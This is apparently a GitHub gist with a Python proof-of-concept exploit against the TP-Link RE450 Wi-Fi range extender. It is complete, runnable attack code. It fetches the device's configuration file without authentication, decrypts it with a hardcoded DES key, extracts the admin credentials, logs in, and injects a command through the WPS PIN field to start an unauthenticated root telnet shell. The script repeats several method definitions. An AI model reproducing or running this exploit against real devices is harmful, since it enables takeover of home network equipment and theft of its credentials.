Created
April 10, 2026 20:36
-
-
Save DJStompZone/35249c986a2d77ccf196e49abce28d6d to your computer and use it in GitHub Desktop.
TP-Link RE450 Exploit PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # DJ Stomp 2026 | |
| # "No Rights Reserved" | |
| # | |
| # Based on eacmen's exploit for the WA850RE: | |
| # https://gist.github.com/eacmen/9ab3d768663003f85889b5b6d2fa41a4 | |
| # | |
| import os | |
| import hashlib | |
| import zlib | |
| import json | |
| import socket | |
| import urllib.request | |
| import urllib.error | |
| import urllib.parse | |
| import subprocess | |
| import sys | |
| class Exploit(object): | |
| ''' | |
| Exploit for the TP-Link RE-450. Unauthenticated users can retrieve the device | |
| configuration data, authenticate, and execute arbitrary commands as root. | |
| ''' | |
| def __init__(self, host="192.168.0.254", port=80): | |
| self.host = host | |
| self.port = port | |
| self.cookie = None | |
| self.cookie = self.get_cookie() | |
| def md5_hash(self, text): | |
| return hashlib.md5(text.encode()).hexdigest().upper() | |
| def wget(self, uri, post=None): | |
| url = "http://%s:%d%s" % (self.host, self.port, uri) | |
| headers = { | |
| 'X-Requested-With' : 'XMLHttpRequest', | |
| 'Accept' : 'application/json, text/javascript, */*; q=0.01', | |
| 'Accept-Language' : 'en-US,en;q=0.9', | |
| 'Accept-Encoding' : 'gzip, deflate', | |
| 'Connection' : 'keep-alive', | |
| 'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8', | |
| 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36', | |
| 'Referer' : 'http://%s/' % self.host, | |
| 'Host' : self.host, | |
| 'Origin' : 'http://%s' % self.host, | |
| } | |
| if self.cookie is not None: | |
| headers['Cookie'] = 'COOKIE=%s' % self.cookie | |
| data = post.encode() if post else None | |
| request = urllib.request.Request(url, data=data, headers=headers) | |
| try: | |
| with urllib.request.urlopen(request) as response: | |
| resp_headers = response.info() | |
| body = response.read() | |
| return (resp_headers, body) | |
| except urllib.error.URLError as e: | |
| print(f"[-] Connection error: {e}") | |
| raise | |
| def get_cookie(self): | |
| print("[+] Requesting browser cookie...") | |
| try: | |
| (headers, html) = self.wget("/") | |
| cookie_header = headers.get("Set-Cookie") | |
| if not cookie_header: | |
| return None | |
| cookie = cookie_header.split("COOKIE=")[1].split(";")[0] | |
| print(f"[+] Retrieved cookie: '{cookie}'") | |
| return cookie | |
| except Exception as e: | |
| print(f"[-] Failed to get cookie: {e}") | |
| return None | |
| def get_config(self): | |
| tmp_dir = "/tmp" if os.path.exists("/tmp") else os.environ.get("TEMP", ".") | |
| tmpfile = os.path.join(tmp_dir, "encrypted_config_data") | |
| print("[+] Attempting to retrieve device configuration data...") | |
| try: | |
| (headers, encrypted_config_data) = self.wget("/fs/data/config.bin") | |
| except Exception as e: | |
| print(f"[-] Request failed: {e}") | |
| return None | |
| if b"<html" in encrypted_config_data.lower(): | |
| print("[-] Received HTML. The device might be patched or you're being redirected.") | |
| return None | |
| model_name = "Unknown" | |
| try: | |
| model_name = encrypted_config_data[0x18:].split(b"\x00")[0].decode('utf-8', 'ignore') | |
| except: pass | |
| print(f"[+] Got data ({len(encrypted_config_data)} bytes) for model: {model_name}") | |
| with open(tmpfile, "wb") as f: | |
| f.write(encrypted_config_data) | |
| print("[+] Decrypting config file (attempting legacy DES)...") | |
| base_cmd = ["openssl", "enc", "-d", "-des-ecb", "-nopad", "-K", "478DA50BF9E3D2CF", "-in", tmpfile] | |
| legacy_cmd = base_cmd + ["-provider", "legacy", "-provider", "default"] | |
| try: | |
| proc = subprocess.Popen(legacy_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
| out, err = proc.communicate() | |
| if proc.returncode != 0: | |
| proc = subprocess.Popen(base_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
| out, err = proc.communicate() | |
| except FileNotFoundError: | |
| print("[-] Error: 'openssl' not found.") | |
| return None | |
| if os.path.exists(tmpfile): | |
| os.unlink(tmpfile) | |
| if not out: | |
| print(f"[-] Decryption failed. Stderr: {err.decode().strip()}") | |
| return None | |
| print(f"[+] Decrypted size: {len(out)} bytes. Searching for zlib header...") | |
| offset = -1 | |
| for header in [b'\x78\xda', b'\x78\x9c', b'\x78\x01']: | |
| offset = out.find(header) | |
| if offset != -1: break | |
| if offset == -1: | |
| print("[-] No zlib header found. The decryption key might be different for v2.0 hardware.") | |
| return None | |
| try: | |
| decompressed_data = zlib.decompress(out[offset:]) | |
| config_data = json.loads(decompressed_data.strip(b"\x00").decode('utf-8', 'ignore')) | |
| config_data["SYSTEM"] = {"model": model_name} | |
| return config_data | |
| except Exception as e: | |
| print(f"[-] Processing error: {e}") | |
| return None | |
| def login(self): | |
| config = self.get_config() | |
| if not config: | |
| print("[-] Login aborted: Config retrieval failed.") | |
| return False | |
| try: | |
| account = config.get("ACCOUNT", {}) | |
| username = account.get("UserName") | |
| password = account.get("Pwd") | |
| if not username or not password: | |
| print("[-] Could not find credentials in config JSON.") | |
| return False | |
| print(f"[+] Credentials found: {username} / {password}") | |
| status = self.do_login(username=None, password=password) | |
| if not status: | |
| status = self.do_login(username=username, password=password) | |
| return status | |
| except Exception as e: | |
| print(f"[-] Login logic error: {e}") | |
| return False | |
| def old_get_config(self): | |
| tmp_dir = "/tmp" if os.path.exists("/tmp") else os.environ.get("TEMP", ".") | |
| tmpfile = os.path.join(tmp_dir, "encrypted_config_data") | |
| print("[+] Attempting to retrieve device configuration data...") | |
| try: | |
| (headers, encrypted_config_data) = self.wget("/fs/data/config.bin") | |
| except Exception as e: | |
| print(f"[-] Request failed: {e}") | |
| return None | |
| if b"<html" in encrypted_config_data.lower(): | |
| print("[-] Received HTML instead of binary config. Path might be protected or changed.") | |
| return None | |
| try: | |
| model_name = encrypted_config_data[0x18:].split(b"\x00")[0].decode('utf-8', 'ignore') | |
| except: | |
| model_name = "Unknown" | |
| print(f"[+] Got data ({len(encrypted_config_data)} bytes) for model: {model_name}") | |
| if len(encrypted_config_data) < 2000: | |
| print("[!] Warning: Data seems too small for a full config. First 32 bytes (hex):") | |
| print(f" {encrypted_config_data[:32].hex()}") | |
| print("[+] Decrypting config file...") | |
| with open(tmpfile, "wb") as f: | |
| f.write(encrypted_config_data) | |
| cmd = ["openssl", "enc", "-d", "-des-ecb", "-nopad", "-K", "478DA50BF9E3D2CF", "-in", tmpfile] | |
| try: | |
| proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
| out, err = proc.communicate() | |
| except FileNotFoundError: | |
| print("[-] Error: 'openssl' command not found in PATH.") | |
| return None | |
| if os.path.exists(tmpfile): | |
| os.unlink(tmpfile) | |
| if err: | |
| print(f"[!] OpenSSL Stderr: {err.decode().strip()}") | |
| if not out: | |
| print("[-] Decryption produced no output.") | |
| return None | |
| print(f"[+] Decrypted size: {len(out)} bytes. Searching for zlib header...") | |
| offset = -1 | |
| for header in [b'\x78\xda', b'\x78\x9c', b'\x78\x01']: | |
| offset = out.find(header) | |
| if offset != -1: break | |
| if offset == -1: | |
| print("[-] No zlib header found. Decryption likely failed (wrong key?).") | |
| return None | |
| try: | |
| decompressed_data = zlib.decompress(out[offset:]) | |
| config_data = json.loads(decompressed_data.strip(b"\x00").decode('utf-8', 'ignore')) | |
| config_data["SYSTEM"] = {"model": model_name} | |
| return config_data | |
| except Exception as e: | |
| print(f"[-] Final processing failed: {e}") | |
| return None | |
| def login(self): | |
| config = self.get_config() | |
| if not config: | |
| print("[-] Cannot proceed with login: No config data retrieved.") | |
| return False | |
| try: | |
| username = config.get("ACCOUNT", {}).get("UserName") | |
| password = config.get("ACCOUNT", {}).get("Pwd") | |
| if not username or not password: | |
| print("[-] Config parsed but 'ACCOUNT' credentials not found.") | |
| return False | |
| print(f"[+] Credentials found: {username} / {password}") | |
| status = self.do_login(username=None, password=password) | |
| if not status: | |
| status = self.do_login(username=username, password=password) | |
| return status | |
| except Exception as e: | |
| print(f"[-] Login error: {e}") | |
| return False | |
| def do_login(self, username=None, password=None): | |
| if username is not None: | |
| encoded = username + '%3A' + self.md5_hash(password + ':' + self.cookie) | |
| else: | |
| encoded = self.md5_hash(password + ':' + self.cookie) | |
| post_data = f"operation=login&encoded={encoded}&nonce={self.cookie}" | |
| (headers, json_data) = self.wget("/data/login.json", post_data) | |
| response = json.loads(json_data.decode()) | |
| return response.get("success", False) | |
| def login(self): | |
| status = False | |
| config = self.get_config() | |
| username = config["ACCOUNT"]["UserName"] | |
| password = config["ACCOUNT"]["Pwd"] | |
| print(f"[+] Admin username: '{username}'") | |
| print(f"[+] Admin password (MD5): '{password}'") | |
| try: | |
| print("[+] Attempting login with password only...") | |
| status = self.do_login(username=None, password=password) | |
| except (ValueError, KeyError): | |
| pass | |
| if not status: | |
| try: | |
| print("[+] Attempting login with username and password...") | |
| status = self.do_login(username=username, password=password) | |
| except (ValueError, KeyError): | |
| pass | |
| return status | |
| def enable_telnetd(self): | |
| return self.command("telnetd -l /bin/sh -p 8080") | |
| def command(self, command): | |
| cmd_payload = command.replace(' ', '${IFS}') | |
| post_data = f"operation=write&option=connect&wps_setup_pin=12345670;{cmd_payload}" | |
| if self.login(): | |
| print(f'[+] Attempting to execute "{command}"...') | |
| (headers, json_data) = self.wget("/data/wps.setup.json", post_data) | |
| response = json.loads(json_data.decode()) | |
| return response.get('success', False) | |
| else: | |
| print("[-] Login failed :(") | |
| return False | |
| if __name__ == '__main__': | |
| ip = '192.168.0.254' | |
| port = 80 | |
| if len(sys.argv) > 1: | |
| host = sys.argv[1] | |
| if "://" in host: | |
| host = host.split("://")[1].strip("/") | |
| if ':' in host: | |
| parts = host.split(':') | |
| ip = parts[0] | |
| port = int(parts[1]) | |
| else: | |
| ip = host | |
| else: | |
| print(f"Usage: {sys.argv[0]} ip:port") | |
| sys.exit(1) | |
| exploit = Exploit(ip, port) | |
| if exploit.enable_telnetd(): | |
| print("[+] Successful!") | |
| else: | |
| print("[-] Failed :(") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment